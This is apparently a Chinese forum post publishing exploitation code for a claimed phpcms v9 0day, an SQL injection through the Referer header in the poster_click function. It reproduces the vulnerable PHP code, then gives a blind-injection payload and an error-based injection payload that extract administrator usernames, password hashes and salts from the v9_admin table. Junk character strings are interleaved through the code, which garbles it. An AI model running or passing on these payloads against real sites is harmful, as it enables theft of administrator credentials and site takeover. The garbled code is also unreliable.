phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
9 h1 k! G0 n. ~  n% ]2 ?1 D) j. {
问题函数\phpcms\modules\poster\index.php
" l) F1 x; E* ?! u+ _- s
public function poster_click() {
; h. Y2 K% i+ Y0 E, D; H$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
% S) d2 v# w% uif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
% G( E' b- X9 V7 n1 W$ip = ip();
: {* Y( p2 w) A; X% ]$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
% I4 d! z; M  s9 ~9 U. e% nif($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
6 E4 h$ f: Z  T}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
' B# [$ O  a2 B5 W; yif (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
. h6 h9 B& J4 d) [) j# a/ q, w$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
. O6 P6 j4 E* h& B7 l% U( j}
header('Location: '.$url);
, v4 S- c" T  U8 F6 i. p& I/ j2 K}
6 K" X; n' K6 u. c9 S

# R. n( h4 L1 F) ]3 C
# n7 o" }: w5 q% V& B" |利用方式：

! _0 n! W( ^/ m4 o" X) s! n1 i1、可以采用盲注入的手法：
! I$ z( C8 z# L
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
6 o4 i. O% w+ H; z0 v. I- b
通过返回页面，正常与否一个个猜解密码字段。
) C/ S- F" p/ T  Z8 e# @' u
2、代码是花开写的，随手附上了：
# x3 i4 K) [$ P1 b$ `
% |' |6 N; p9 R. Q( ]; Q4 t% s1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
+ }3 r' x/ D, U% Z; a* w
此方法是爆错注入手法，原理自查。
